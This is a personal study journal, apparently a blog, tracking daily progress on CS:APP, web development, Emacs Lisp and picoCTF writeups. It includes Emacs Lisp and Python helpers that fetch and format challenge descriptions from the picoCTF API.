Current project: Web Development Foundations Course from The Odin Project.
- Studied some CS.
- Too many mistakes because I’m doing the work in my head, instead of writing it down!
- Write down my thoughts.
- Today’s Scores
- Fun: 4.25/5
- Energy: 4/5
- Studied some CS.
- Really proud of this little guy here:
int main() { int value = 1; return *((char *) &value); }
I’ve always postponed really learning little/big endian. Now I could create this little program that compactly tests machines about that. It is the answer to a homework problem from CS:APP. It should return 1 if the machine is little endian, and 0 if it is big endian.
My answer uses the fact that the representations for both are the “reverse” of each other. In this case, the bytes of the variable
valuewill be stored sequentially in memory in the following ways (hexadecimal):Little Endian Big Endian 0x01 00 00 000x00 00 00 01The program casts the pointer to a
char, so the dereferencing only consumes the first byte. That first byte in base 10 is actually 1 for little endian machines, and 0 for big endian, exactly the values that should be returned in each case.I am really glad with this little progress, and motivated to keep exploring.
- Keeping it exploratory has helped. Surprisingly, exploring has helped me to focus: I love electronics, but I love more computers. While watching a channel about electronics that I follow, suddenly I thought: it is not worth going to the trouble of learning a complex concept in the video—I’d rather invest that mental energy on computers instead.
- Today’s Scores
- Fun: 4.75/5
- Energy: 4.25/5
- Studied CS.
- Watched this video The best way to become good at something might surprise you - David Epstein, by TED-Ed. This inspired me to experiment with a freer, more experimental study approach. Tried doing a specific homework in this hands-on, exploratory manner. It was much more engaging, and I learned a lot, got less tired. But also got very lost. But while trying to find my way, I was more patient to learn some details and peculiarities—I believe this is a direct effect of the freedom: independence needs and promotes empowering through knowledge (?)
- Today’s Scores
- Fun: 5/5
- Energy: 5/5
- Studied some CS.
- Today’s Scores
- Fun: 4/5
- Energy: 4/5
- Studied CS (today and yesterday).
- Today’s Scores
- Fun: 4/5
- Energy: 4/5
- Studied CS:APP, 3h.
- Watched computer videos, several hours.
- I’ve been neglecting some other activities. But I’m searching myself with the aids of some computer videos. One particularly “useful” is this 4h monster interview with Ken Thompson (creator of Unix, Go, grep, and much more). He talks about (en passant) about focus. Got me thinking a lot (and trying to focus, too).
- Go back to the other activities.
- Focus!
- Today’s Scores
- Fun: 4.5/5 (ate half a chicken today!)
- Energy: 5/5 (idem, and lots of fun computer videos)
- Studied CS:APP, some hours.
- Just focused on CS:APP. Actually, “focus” seems to be the word of the day! Lost access to the Internet, so couldn’t post.
- Today’s Scores
- Fun: 4/5 (focusing is fun)
- Energy: 4/5 (focusing is economical)
- Contributed to free software:
- Added the options to show original PDF page labels to Emacs
pdf-tools.
- Added the options to show original PDF page labels to Emacs
- Studied CS:APP, 1h.
- In webdev, added the header to the page from the second project.
- Emacs
pdf-tools: added a pull request with my contributions. - The project page now has a header!
- In CS:APP, I’m currently not behind schedule, but also not progressing quickly.
- I may have to focus more; maybe work on flow.
- In webdev, had to hack to Github-deploy—it should be Provisory®.
- Webdev: fix the provisory solution.
- Today’s Scores
- Fun: 5/5 (contributing to FOSS is fun!)
- Energy: 4.5/5 (ate some pizza :P)
- In webdev, added a functionality for automatic insertion of code block: default language and tangling behavior.
- Blog: changed the tone for professional, instead of jovial (for portfolio reasons)
- Elisp: fixed page numbering in Emacs while viewing a pdf. Also continued with the chapter on functions, with overview.
- CS:APP, exercises.
- Started using more of Emacs to help with the work:
- Bookmarks for the project files, making it easier to switch between tasks;
- Read PDFs inside Emacs, making it easier to annotate them, and also allowing for the use of bookmarks.
- Switching between tasks can be refreshing; experimenting a bit here.
- Check if free flow is better than fixed allocated time.
- Today’s Scores
- Fun: 5/5 (easy task switching is fun!)
- Energy: 4/5 (fells like improving…)
- Read K&R C to refresh on pointers, 30min.
- In bloggin, did some automation setup, 15min.
- In webdev, added the Github setup.
- Studied CS:APP, 2h in the morning, 1h in the evening.
- In Elisp, read 15min.
- In webdev, decided to use GitHub Actions to deploy the website. This makes things easier, but NGL, it bothers me a littla that it installs Emacs (among other stuff) each time I push (feels like machine abuse somehow LOL). Decided to make it with Literate Programming, like the previous project. This helps a lot with the thinking process, but makes it difficult the Github part: feels like I type the same thing while coding in LP and commiting… Maybe this means the processes are aligned, and this is a good thing, who knows?
- Started reading some other books I’ve always wanted… Need to be careful here not to derail, though. This was relatively tiring too… Better focus!
- In CS:APP, was kinda tired and foggy, a bit irritated; things didn’t flow really well. Tomorrow is another day!
- Finished the chapter and decided to end the session after just 15min.
- In webdev, add the main ~div~s for the page.
- Blog: determine where I can use the recent PLT/GOT trick in the last post.
- CS:APP, write some test cases.
- Today’s Scores
- Fun: 5/5 (reconnecting with my self programmer is fun!; giving myself freedom to learn stuff is also fun!)
- Energy: 3/5 (tired!)
- Studied Webdev, 1h.
- Studied CS:APP, 5h.
- Webdev: simplified Holy Grail layout, with cards.
- In CS:APP, advanced through the second chapter. Trying to practice all the theory. Making a good effort to be patient with myself, and get in touch with my intrinsic motivation. Avoid comparisons, give myself the time I need. Let it flow as it flows.
- In Webdev, had my first contact with the Holy Grail layout.
Apparently, this was very difficult to achieve back in the day, without modern alternatives, like CSS
flex. I had to peek at the solution for height auto-sizing, though…Mine was keeping a fixed size. As it turned out, the problem was that I had fixed it in an earlier step, thinking that was necessary. When I removed it,flexwould automatically adjust it (flex it). The takeaway is to minimize the rules, and always be criterious about them. This was the last CSS exercise of the Foundations Course! - Didn’t blog, nor study Elisp, CS:APP was flowing, got lost there!
- Webdev: start working on the final project of the CSS module: a landing page. For this one, they just give us a picture of the desired outcome, nothing else, so I’ll have to start from nothing… This challenge gets me excited!
- Do at least 30 minutes of Elisp and blogging.
- Get in touch with myself on CS:APP.
- Today’s Scores
- Fun: 3/5 (i need myself to be more patient!)
- Energy: 3.5/5 (evening studies needed a lot of effort today, because i was tired)
- Took the day off, long walk with the dogs :)
- I really needed some rest. As it turned out, I ended up doing some job research in the evening. This motivated me to double down on current studies.
- Get back to the routine, but a bit renovated.
- Today’s Scores
- Fun: 5/5 (dogs are fun! resting is fun!)
- Energy: 4/5 (renovated, but still not feeling 100%… i may need sports)
- Studied Elisp for 1h.
Read the sections about:
let, with a brief discussion about dynamic versus lexical scoping, andif.
- Studied Webdev for 2h.
- Cybersec blog: Worked on a new research post, 3h.
- Studied CS:APP, 45min.
- New blog post: How to get the GOT address from a PLT stub using gdb
- Webdev. This are the exercises I did today.
- In Elisp,
letandifare known fellas; not much new here. But the scoping part was new. Also new was the self reliance while reading the corresponding Wikipedia article! It felt like I could—and therefore should—learn that new piece of the puzzle. This seems to be related to the disposition of reading CS:APP, which is a kind of commitment—or contract—with a “serious” programmer identity. - Webdev: had fun working on more realistic page layouts.
Still working with
flex, and want to go forgridsoon (this is what I’ll probably use the most, as it is more modern, more powerful, and, ironically, more flexible). I made a rookie mistake today that made me waste several minutes: forgot the comma to share the rules among two classes. My second mistake was to focus only on one possible culprit: I spent all the time thinking the problem was withul, when in fact it was elsewhere. I want to keep a more clear and open mind when facing challenges. Following ChatGPT’s tips, I’ll also follow a simple formatting rule: when using multiple selectors, like in this case, I’ll keep each selector on its own line. This way I’ll have a visible cue when I make this mistake again. - Cybersec blog: I was banging my head about how to convey the concepts in a palatable manner.
It was difficult because:
- The subject is pretty advanced, and avoided even in specialized books;
- The terminology is plentiful, which represents a immesely huge barrier for newcomers.
The process per se is not very complicated, though. This was the motivation to include it on a beginner-level CTF writeup, in the first place. The discussion with ChatGPT was pretty agitated; he had a lot of difficulty grasping my intention. In the end, he summarized it in a very truthful motto:
- “High-fidelity technical explanation, low-friction terminology.”
Terminology can be a barrier, and I dislike that. I believe every concept should be made immediately accessible to the most people possible. The interested readers will then learn the terminology while they go deeper and deeper in the subject. This is especially true for my target audience: hackers.
- Went to read CS:APP at the end of the day. I was tired, but not unmotivated to do it. This was a good surprise, as it suggested alignment with the activity and intrinsic motivation. Did my first two assignments, good-ol’ bit-scrubbing!
- I got a bit tired today. Tomorrow I’ll take the day out, maybe a long walk with the dogs, change the scenery.
- Today’s Scores
- Fun: 4.5/5 (banging the head can also be fun)
- Energy: 4/5 (end of the week fuel tank)
- Studied Dynamic Linking in the morning, 3h.
- Started studying Computer Systems in the evening, 3h.
- The humble CTF writeup of a beginner challenge ended up taking me on a whole new journey. Something unexpected ocurred, that got me curious. While trying to figure it out with the help of ChatGPT, I embarked on a quest for answers. ChatGPT apparently tried to simplify it, but each time I had a question, there was some new concept drop. I got very difficult to piece things together, to the point I asked ChatGPT for book recommendations. One of them was Computer Systems: A Programmer’s Perspective, which I started reading. The premise is very simple: teach the system for programmers. Just finished the first chapter, which gives an overview of the system. It appears to be a good use of my time, let’s see.
- Keep reading CS:APP.
- Finish the writeup with the current available knowledge. Move on to the next writeup.
- Keep studying Elisp.
- Keep studying Webdev.
- Today’s Scores
- Fun: 5/5 (finding a good book is fun!)
- Energy: 4.5/5 (sport, maybe?)
- Studied Elisp, 2h.
- Webdev, 1h, 3 exercises.
- CTF writeup: studied dynamic linking, PLT/GOT.
This are the exercises I did today.
- Upper-left: how it started
- Upper-right: my solution
- Lower-right: desired outcome
- In Elisp, the material I am using to study is for beginners. But I am not confident about skipping content. Practicing that. Skipped the exercises, though. Feel like it went faster than yesterday. Today’s chapter is way longer than yesterday’s, so I couldn’t finish it.
- In webdev, I liked doing today’s exercises. I resisted a lot, but publishing the before/after really made it real for me. Good habit to cultivate.
- In the CTF writeups, I had to study some new concepts involving dynamically linked binaries, as is the case of the binary for current writeup. These are completely new concepts to me, and I am very excited to learn about them. There are several security implications involving dynamic linkage, and the current writeup touches on some of them. I’ve got to a specially dense point at the end of today’s study session. I’m using basically ChatGPT as source, but this may not be optimal; willing to experiment with more sources.
- Elisp: 1h was good again, keep that.
- Webdev: be more pragmatic, try to finish the assignments faster without compromising learning.
- CTF writeups: try another sources for dynamic linking.
- Today’s Scores
- Fun: 4.5/5 (new, important concepts are fun!)
- Energy: 4.5/5 (dried meat back to the menu)
More variety today, including webdev proper!
- Studied Elisp in the morning, 1h.
- Webdev studies, also 1h.
- A bit of blogging CTF writeups in the morning, a lot in the evening.
- In Elisp, today’s chapter was about the basics of function calls, clarifying that Elisp deals with text editing a lot, thus the theme of the code around that. In this case, the examples were about buffer—size and positioning/navigation within—, and point.
- In Webdev, continuing with CSS, this time the Flex Model. Great improvements over The Box Model. But the Grid is the way to go. Still some time until we get there. Again, lots of confusing rules and exceptions. I gave up trying to aprehend those: will focus on the results: get the final product to look as intended. I see no point in trying to make sense of this much confusion when my goal is not implement a web client, nor contribute with the specifications.
- In the CTF Writeups, in the morning I went out for a long walk, thought a lot about how I would like to have the writeups.
I want it to be real.
The idea is to backtrack the solution: start with TL;DR, and give the solution right away.
Then trace the steps back with an investigation of why that solution worked.
This way
- It is more realistic, as the solutions often happen after trying out a lot of ideas: it is not planned, so it is not realistic to think that the person (me) who solved the challenge knew all that to begin with.
- The reader may stop as soon as they are satisfied with the depth, starting from just the solution and no depth at all, and going all the way to the core of the why the solution worked in the first place.
In the evening worked on integrating ChatGPT’s critique. It was much more difficult that I thought.
- I had to learn a lot of new
gdbcommands - Apparently ChatGPT was wrong (I believe, will check tomorrow) about the reason why the segfault occurred. This made my life a little more difficult, as I had to investigate other possible reasons. It was a slow process, and I thought about just giving up and finishing the post as it is (which would not be the end of the world, as it is reasonably deep). But I want to learn it myself! These are the foundations of Binary Exploitation, and skipping it will just hinder my progress moving forward. But I’m tired!
- Continue with Elisp and Webdev studies, try 1h again each, as it worked well today.
- CTF Writeup: this time work alongside ChatGPT on the solution.
- Today’s Scores
- Fun: 4/5 (meeting me where I was at: go for a walk and think; prioritize my vision and skill building instead of just public output.
- Energy: 4/5 getting energized!
- Spent the morning studying Elisp fundamentals;
- Spent the evening writing a new CTF writeup.
The Elisp study started as a necessity: I was feeling my mind was “heavy”, and thought it was weak foundations (lots of very important doubts and uncertainties accumulated). I could finish the first phase of the text, which are the most dense. It turned out to be very helpful, could better understand a lot of concepts, and close some conceptual gaps. Coding should get much more productive and fun now!
The writeup was fun! But it was tricky: I kept trying to add more and more, polish, and so on… It was infinite! Then I focused on some key aspects:
- Show the solution;
- Convey the mindset necessary for the solution when possible;
- Teach the use of tools, and show some useful tricks;
- Explain the steps in detail, but keep it light, give pointers;
I also added a lot of material after showing the solution. Something very interesting happened: a severe security breach that was not in the scope of that particular challenge. I explored that a little. Then I was ready to post, but asked ChatGPT for some critique. Well, if he had some! And they were good: I could learn a lot! I’ll work on that tomorrow, so no output for today, unfortunately!
I put the development on hold for today, but took notes of things to improve; and there are already some!
- Integrate ChatGPT’s critique on the blog post.
- Continue with the Elisp studies (but less time, focus on writeups).
- Today’s Scores
- Fun: 4/5 (CTFs are fun!)
- Energy: 3/5 (recovered, but not 100% yet)
I was feeling sick today, and very tired. But could get some small victories!
- The dev work had gotten to a point where my mind couldn’t aprehend it anymore—model bigger that brain. I thought of either studying theory or restarting the program from scratch—greats say wonders about this. But after staring—literally—at the code for a while, thinking a bit, I ended up doing some refactoring, and could even get some new work done.
- I was really annoyed by the fact that I still had to type in the title and tags. Despite the fear of rabbit-holing, I gave a tiny little peek at the page, and ended up realizing the solution is much easier than I thought: I just need another request for a different URL. This inpired the refactoring of the fetching code (credentials, login, and download).
- Added internal HTML parsing to avoid the need to call an external Python script for that. Also added the use of tempfiles.
- The way I was doing Literate Programming ended up hiding some dirt: there was some repetition of code. I cleaned that up with some new function.s
I’m particularly proud of this little snippet. ChatGPT helped me with it, but it had a bug. I was feeling particularly sick at that time. But could manage to fix the bug, improve it a little bit, and integrate it to the code.
(defun html-get-text (html)
"Return text in HTML."
(interactive "Mhtml: ")
(with-temp-buffer
(insert html)
(let* ((dom (libxml-parse-html-region (point-min) (point-max)))
(text (mapcar (lambda (a) (dom-text a))
(dom-by-tag dom 'p)))
(text (string-join text " "))
(text (split-string text nil t))
(text (string-join text " ")))
text)))- Despite not being 100% I could still show up to the work. This small victory helps building habit and identity, and I am very proud of that.
- The analysis, mental work, and refactoring helped build a better mental model. This prevents tiredness and ultimately burn out, of which I have to be very aware in order not to go there again!
- Refactoring is always high-adrenaline, and I tried to micro-test as often as I could. Ended up discovering some simple little tricks that are a big help to keep tests light to the brain.
- Avoiding the need to call an external Python script was a big win for today!
- Feeling this tired today raised a big red flag! I really need to pay attention to ealy signs of low healthy routines. This time I believe it may be food. I’ve been eating a lot of fresh liver lately (I usually eat it dried), and that stuff can get heavy on the body sometimes.
- Start the proper output. Finish the HTML parsing, put the dev on hold for a while, and restart the writeups. I want the system to start producing! This will also give me the opportunity to test the current version. It is prepare for automatic diagnostics only for executables, which restricts the appropriate CTFs to Binary Exploitation and maybe some Reverse Engineering. But that’ more than OK :)
- Today’s Scores
- Fun: 3/5 (feeling sick is no fun, but meeting me where I’m at, and showing up for that is; glad I allowed myself some light work today)
- Energy: 2/5 (very tired!)
As the previous work included a lot of tests and back and forth with ChatGPT involving credentials, I had to renew those. Instead of manually updating my local copies of those credentials, I used the opportunity to automate this process with code. I had it all ready, only needed to integrate them.
In order to post the CTF writeup, Jekyll needs some metadata that goes into the file header. Here is an example:
#+TITLE: buffer overflow 0 (picoCTF)—CTF Writeup #+DATE: 2025-10-26 20:46 #+JEKYLL_LAYOUT: post #+JEKYLL_CATEGORIES: "CTF Writeup" #+JEKYLL_TAGS: binary-exploitation ctf writeup
Today I automated the insertion of this snippet. I also discovered that title and tags somehow skip the current info gathering process. As fixing this would involve too much of a detour, I added that to the TODO.
This is huge! The program now automatically downloads the assets, checks its type, and run the appropriate diagnostics for that type of file. The writeup is populated with that data in a structured form. This saves me a lot of time and mental energy when making the writeups! But the automatic execution presented a bug: it sometimes gets confused with previous results.
- Usually, to update the login credentials automatically, you use a program that does that without a browser. But picoCTF added an additional level of security in the form of a Cloudfare challenge. To pass this challenge you must use a browser. To do that automatically, I called Puppeteer, using Node.js. This was new for me, and I’m glad to add that tool to the box!
- To deal with all the data flying around when inserting the challenge’s info, I used two different types of lists:
plistandalist. They are new to me, and I’m still getting used to their quirks. One that tripped me at first was the difference between two types of creating a list:'(1 2 (+ 3 4))and(list 1 2 (+ 3 4)). They have a subtle, but very important difference in evaluation: the first form does not evaluate(+ 3 4)when creating the list. This got me by surprise, and it took me a while to understand what was happening when the code didn’t act as I expected! - The automatic download and diagnostics is the most important part of all this for me. It was where I learned a lot today too. Here I applied all the new knowledge about the lists and new functions I am learning in Elisp. One that I’m really interested is a function that maps functions to Org entities. This is potentially very powerful and useful, as I use Org a lot. This creates very interesting possibilities for future projects!
- Automatically fetch challenge’s title and tags.
- Fix the automatic diagnostics of the assets.
- Put development on hold, and start making the writeups for tests.
I created a program that automatically gets the CTF challenge info for me, so I don’t have to type it.
Writeups are about to get much easier and funnier! CTF writeups need a lot of context, and they sometimes come as a story, other times as just a question, but in any case, that must go into the writeup. So far I was copying/pasting, and then cleaning up the text. It was very tedious!
Today I created a small program that automatically goes to the website and grabs that info and inserts it necely inside my editor, in a pre-chosen template. The pictures below show the info on the website and the editor.
This is the code that makes the magic happens:
;; TODO: Consider this division:
;; - ctf-fetch-json (or ctf-fetch-html)
;; - ctf-parse-info (or ctf-parse-html)
;; - ctf-insert-info
(defvar ctf-picoctf-user nil
"Username to login on picoCTF.")
(defvar ctf-html-to-plain-command nil
"Command to call when converting HTML to plain text.")
(define-minor-mode ctf-mode
"Minor mode for CTF writeups."
:lighter " Ctf"
:keymap (make-sparse-keymap)
)
(defun ctf-info-from-id (id &optional user)
"Retrives the challenge's info from the website using ID."
(interactive "Mid: ")
(require (quote auth-source))
(let* ((user (or ctf-picoctf-user user))
(results (car (auth-source-search :host "play.picoctf.org" :user user :max 1)))
(secret (plist-get results :secret))
(password (if (functionp secret) (funcall secret) secret))
(csrftoken (plist-get results :csrftoken))
(cookie (plist-get results :cookie))
;; Get the challenge info and save it in JSON format in the file `/tmp/html.json'.
(command (format "curl --output '/tmp/html.json' 'https://play.picoctf.org/api/challenges/%s/instance/' -H 'Cookie: %s'" id cookie)))
(shell-command command))
;; TODO (ChatGPT critique): The ctf-html-to-plain-command bit feels brittle — if
;; the API returns HTML inside JSON, better to convert inside Emacs. You can
;; strip tags using shr-render-region or libxml-parse-html-region. Then you’re
;; not shelling out to an external script unnecessarily.
(shell-command ctf-html-to-plain-command)
(with-temp-buffer
(insert-file-contents "/tmp/plain.json")
(let* ((json-string (buffer-substring-no-properties (point-min) (point-max)))
(json-plist (json-parse-string json-string :object-type 'plist)))
json-plist))
;; TODO: If that failed, get a new cookie and ask again
)
;; TODO: Use `org-insert-link' for the links below.
(defun ctf-insert-info (id)
"Insert the info from challenge ID into current buffer."
(interactive "Mid: ")
(let* ((info (ctf-info-from-id id))
(description (plist-get info :description))
(description-urls (seq-into (plist-get info :description_urls) 'list))
(hints (seq-into (plist-get info :hints) 'list))
(hints-urls (seq-into (plist-get info :hints_urls) 'list)))
(insert "* Description\n")
(insert (format "\n%s\n" description))
(when hints
(insert "\n* Hints\n")
(dolist (hint hints)
(insert (format "\n- %s\n" hint))))
(when hints-urls
(insert "\n* Hints URLs\n")
(dolist (hints-url hints-urls)
(insert (format "\n- [[%s]]\n" hints-url))))
(when description-urls
(insert "\n* Assets\n")
(dolist (description-url description-urls)
(insert (format "\n** [[%s]]\n" description-url))))))
(provide 'ctf-mode)
It calls this script:
import json
from bs4 import BeautifulSoup
# Load JSON from file
with open("/tmp/html.json", "r", encoding="utf-8") as f:
data = json.load(f)
def html_to_text_and_urls(html_content):
"""Convert HTML to plain text and extract all URLs."""
soup = BeautifulSoup(html_content, "html.parser")
text = soup.get_text(separator=" ", strip=True)
links = [a["href"] for a in soup.find_all("a", href=True)]
return text, links
# Process the description
desc_text, desc_urls = html_to_text_and_urls(data.get("description", ""))
# Process the hints (list of HTML strings)
plain_hints = []
all_hint_urls = []
for hint_html in data.get("hints", []):
hint_text, hint_urls = html_to_text_and_urls(hint_html)
plain_hints.append(hint_text)
all_hint_urls.extend(hint_urls)
# Create clean version
out_data = {
"id": data["id"],
"status": data["status"],
"description": desc_text,
"description_urls": desc_urls,
"hints": plain_hints,
"hint_urls": all_hint_urls,
}
# Save cleaned JSON
with open("/tmp/plain.json", "w", encoding="utf-8") as f:
json.dump(out_data, f, indent=2, ensure_ascii=False)
print("✅ Extracted plain text and URLs to /tmp/plain.json")Besides editing facilities, it also does some challenge-solving of its own.
For example, after downloading a file, it looks at its type (as informed by the command file), and potentially runs more commands, appropriate for that type of file.
;; TODO: Consider this division:
;; - ctf-fetch-json (or ctf-fetch-html)
;; - ctf-parse-info (or ctf-parse-html)
;; - ctf-insert-info
<<Variable definitions>>
<<Define the minor mode>>
<<Function that gets the challenge info from an ID>>
<<Populate the writeup with the challenge info>>
(provide 'ctf-mode)<<Define the minor mode>> +≡
(define-minor-mode ctf-mode
"Minor mode for CTF writeups."
:lighter " Ctf"
:keymap (make-sparse-keymap)
<<Minor mode definition>>
)Function that gets the challenge info from an ID. This process need authentication. It first tries to use the credentials and cookie saved locally. If that fails, it obtains a new cookie and tries again.
<<Function that gets the challenge info from an ID>> +≡
(defun ctf-info-from-id (id &optional user)
"Retrives the challenge's info from the website using ID."
(interactive "Mid: ")
<<Ask for the info with the current cookie>>
;; TODO: If that failed, get a new cookie and ask again
)Ask for the info with the current cookie. Grab the local credentials and cookie and ask picoCTF for the information (description, hints and links) of a challenge whose ID is id. If it succeeds, the info is saved as a JSON file.
<<Ask for the info with the current cookie>> +≡
(require (quote auth-source))
(let* ((user (or ctf-picoctf-user user))
(results (car (auth-source-search :host "play.picoctf.org" :user user :max 1)))
(secret (plist-get results :secret))
(password (if (functionp secret) (funcall secret) secret))
(csrftoken (plist-get results :csrftoken))
(cookie (plist-get results :cookie))
;; Get the challenge info and save it in JSON format in the file `/tmp/html.json'.
(command (format "curl --output '/tmp/html.json' 'https://play.picoctf.org/api/challenges/%s/instance/' -H 'Cookie: %s'" id cookie)))
(shell-command command))<<Variable definitions>> +≡
(defvar ctf-picoctf-user nil
"Username to login on picoCTF.")Create a Python script to extract the text and URLs from the JSON file we got. This file we just got will contain the challenge info, but in HTML, with the markup elements, like <p>...</p>, <a href ...>...</a>, etc. We need to clean that up. We use Python for that. First we create the script, then we call it. This script will create a new file called plain.json with the challenge’s info ready to be inserted into the writeup.
- JSON and shell handling
import json
from bs4 import BeautifulSoup
# Load JSON from file
with open("/tmp/html.json", "r", encoding="utf-8") as f:
data = json.load(f)
def html_to_text_and_urls(html_content):
"""Convert HTML to plain text and extract all URLs."""
soup = BeautifulSoup(html_content, "html.parser")
text = soup.get_text(separator=" ", strip=True)
links = [a["href"] for a in soup.find_all("a", href=True)]
return text, links
# Process the description
desc_text, desc_urls = html_to_text_and_urls(data.get("description", ""))
# Process the hints (list of HTML strings)
plain_hints = []
all_hint_urls = []
for hint_html in data.get("hints", []):
hint_text, hint_urls = html_to_text_and_urls(hint_html)
plain_hints.append(hint_text)
all_hint_urls.extend(hint_urls)
# Create clean version
out_data = {
"id": data["id"],
"status": data["status"],
"description": desc_text,
"description_urls": desc_urls,
"hints": plain_hints,
"hint_urls": all_hint_urls,
}
# Save cleaned JSON
with open("/tmp/plain.json", "w", encoding="utf-8") as f:
json.dump(out_data, f, indent=2, ensure_ascii=False)
print("✅ Extracted plain text and URLs to /tmp/plain.json")<<Ask for the info with the current cookie>> +≡
;; TODO (ChatGPT critique): The ctf-html-to-plain-command bit feels brittle — if
;; the API returns HTML inside JSON, better to convert inside Emacs. You can
;; strip tags using shr-render-region or libxml-parse-html-region. Then you’re
;; not shelling out to an external script unnecessarily.
(shell-command ctf-html-to-plain-command)<<Variable definitions>> +≡
(defvar ctf-html-to-plain-command nil
"Command to call when converting HTML to plain text.")<<Ask for the info with the current cookie>> +≡
(with-temp-buffer
(insert-file-contents "/tmp/plain.json")
(let* ((json-string (buffer-substring-no-properties (point-min) (point-max)))
(json-plist (json-parse-string json-string :object-type 'plist)))
json-plist))Use the extracted, clean info to populate the writeup.
<<Populate the writeup with the challenge info>> +≡
;; TODO: Use `org-insert-link' for the links below.
(defun ctf-insert-info (id)
"Insert the info from challenge ID into current buffer."
(interactive "Mid: ")
(let* ((info (ctf-info-from-id id))
(description (plist-get info :description))
(description-urls (seq-into (plist-get info :description_urls) 'list))
(hints (seq-into (plist-get info :hints) 'list))
(hints-urls (seq-into (plist-get info :hints_urls) 'list)))
(insert "* Description\n")
(insert (format "\n%s\n" description))
(when hints
(insert "\n* Hints\n")
(dolist (hint hints)
(insert (format "\n- %s\n" hint))))
(when hints-urls
(insert "\n* Hints URLs\n")
(dolist (hints-url hints-urls)
(insert (format "\n- [[%s]]\n" hints-url))))
(when description-urls
(insert "\n* Assets\n")
(dolist (description-url description-urls)
(insert (format "\n** [[%s]]\n" description-url))))))The process of making CTF writeups just got much easier—and enjoyable! Instead of wasting mental energy on tedious tasks, I can focus on injecting precise, useful information. It also helps on adding the information: most of the time it may feel like it’s not worth the effort, but having that information at hand while reading the writeup makes a huge difference: many times the path towards a solution depends on some subtle information in the description!
As you can see, there are already a lot explicit of TODOs. But what will make a HUGE impact is to automatically
- Download each asset;
- Detect its file type;
- Automatically run the appropriate diagnostics based on that type.
In the CTFs, they are files that must be inspected very closely, and in multiple ways. This investigative work involves running a lot of commands! Automating this not only saves physical and mental energy, but also avoids forgetting to run important diagnostics. I have most of the code for that ready, just need to integrate it.
Also, I want to:
- Update the local cookie when it expires.
This involves authentication in two stages:
- Pass a Cloudfare challenge and get a key. For this, I’ll use Puppeteer in headless mode.
- Authenticate with that key, user and password, obtaining a new cookie.
I already have the functioning code for those two, now I just need to integrate it on the current code.
Working on tools (to make tools (…)) I came upon what could be called a semi-realization: it is also about commitment. When preparing Emacs to edit blog posts, there are always some “shortcuts” along the way—sub-optimal or not-so-best-practices forks in the path. It’s somewhat tempting to take those shortcuts, especially when you are not doing the thing, but still preparing to do the thing. But if one is in it for the long run, it pays off to pause, learn how to do stuff properly, think, organize, and implement. Today was that day for me.
It all started with Yasnippets, that helps with abbreviations: when I type autotangle, for instance, it expands to
#-*- auto-fill-function: nil; eval: (add-hook 'after-save-hook (lambda () (org-babel-tangle) (load "/home/rafa/dev/webdev-study/README")) nil t); -*-which tells Emacs to take what I just write, plus everything else in the buffer, tangle it to the proper file, and listen to all that that file has to say. Very nice.
30 minutes later I realized I was doing this for a lot of files, and those files were in the same directory. The Proper® way to do that became then to use a directory local variable. I had to go to the manual, remember how to do it, and iterate until it was done. Can’t say I didn’t have fun, though.
Then my tug-of-war with Org and its colors for the fonts got a new episode today. The proper solution was to create a minor-mode, that has its own colors, just the way I like it, and Org doesn’t have a say on it. The next section is all theirs.
noweb.el
(defvar noweb-mode-map (make-sparse-keymap))
(define-minor-mode noweb-mode
"Minor mode for noweb hacking."
:global nil
:init-value nil
:lighter " Noweb"
:keymap noweb-mode-map
(set (make-local-variable 'comment-start) "#")
<<Resolve faces when enabling/disabling the mode>>)
<<font-lock stuff>>
<<functions>>
(add-hook 'org-mode-hook 'noweb-mode)(defun noweb-fix-function-thingy-buffer-wide ()
"Adds some ZERO WIDTH SPACE to avoid font-lock conflicts with Org."
(interactive)
(save-excursion
(goto-char (point-min))
(while (re-search-forward "~<<\\(.*?\\)>> \\+≡~" nil t)
(replace-match (format "~<%s<\\1>> +≡%s~" "" "") t))))<<font-lock stuff>> +≡
(defface noweb-module-name-face
'((t (:foreground "green")))
"Face for `foo' in `<<foo>>'.")<<font-lock stuff>> +≡
(defvar noweb-font-lock-keywords
'(("\\(<<.*>>\\)" 1 'noweb-module-name-face t)
("~\\(<<.*>>\\) \\+≡~" 1 'noweb-module-name-face t))
"Font-lock keywords for `noweb-mode' minor mode.")<<Resolve faces when enabling/disabling the mode>> +≡
(if noweb-mode
(font-lock-add-keywords nil noweb-font-lock-keywords t)
(font-lock-remove-keywords nil noweb-font-lock-keywords))
(font-lock-flush)
(font-lock-ensure)Load the tangled el. After tangling org files that generate a corresponding el, it is sometimes useful to load that el file, applying all the goodness therein. This function does just that.
<<functions>> +≡
(defun noweb-load-auto-tangled ()
"Call function `load' on the file with same name but `.el' extension."
(interactive)
(let ((filename
(file-name-sans-extension (buffer-file-name))))
(load filename) nil t))Then at the end of the day I finally started working on a (nother) minor-mode, this time specifically to help me write the blog posts.
Besides editing facilities, it also does some challenge-solving of its own.
For example, after downloading a file, it looks at its type (as informed by the command file), and potentially runs more commands, appropriate for that type of file.
<<Define the minor mode>>
(provide 'ctf-mode)<<Define the minor mode>> +≡
(define-minor-mode ctf-mode
"Minor mode for CTF writeups."
:lighter " Ctf"
:keymap (make-sparse-keymap)
<<Minor mode definition>>
)Description Function. CTF writeups are all about the challenge. Let’s create a function that helps us when creating that description.
(define-skeleton blog-insert-description
"Insert ctf description for the blog."
nil
"* Description"
(nil \n \n (read-string "description: "))
\n \n "Hints"
("hint: " '(org-return-and-maybe-indent) "- " str) | -7
(nil \n \n \n "*Link:* [[" (read-string "link: ") "]]")
'(delete-trailing-whitespace)
'(save-buffer)
'(git-commit-all "feat: add description"))After more hours than I am comfortable to count, I could finally change the theme on the blog. I was trying really hard to make the obvious thing work: just changing the option. As it turns out, it is not that simple: each theme may have its own quirks and idiosyncrasies.
But thankfuly, it wasn’t that complicated, either. The key factor was a change in mindset: instead of consuming tutorials blindly, take a step back, identify the fundamental entities involved, and how I could apply my knowledge to solve it; also, think outside the box: remove the restriction of having to make the official package work.
In the end, I could use official packages, and the latest releases, which is a relief (makes it easier to maintain, at least in theory, as obsolescence should be postponed, relatively to older packages).
This one may look a bit bold, but it is used reasonably, I promise…
(defun git-commit-all (message)
"Stage and commit all changes in the repository."
(interactive "Mmessage: ")
(async-shell-command
(let* ((script "~/ctf-writeups/chore/git/commit/commit.sh")
(command (concat script " \"" message "\"")))
(async-shell-command command))))This one came first as courtesy of ChatGPT. But, as it turned out, I not only had, but hopefully could add some changes—and even improvements!—of my own.
When writing about challenges, there is a lot of command references, and they all have to be formatted like this.
To accomplish that, I must enclose the word between tildes, and this gets old very fast!
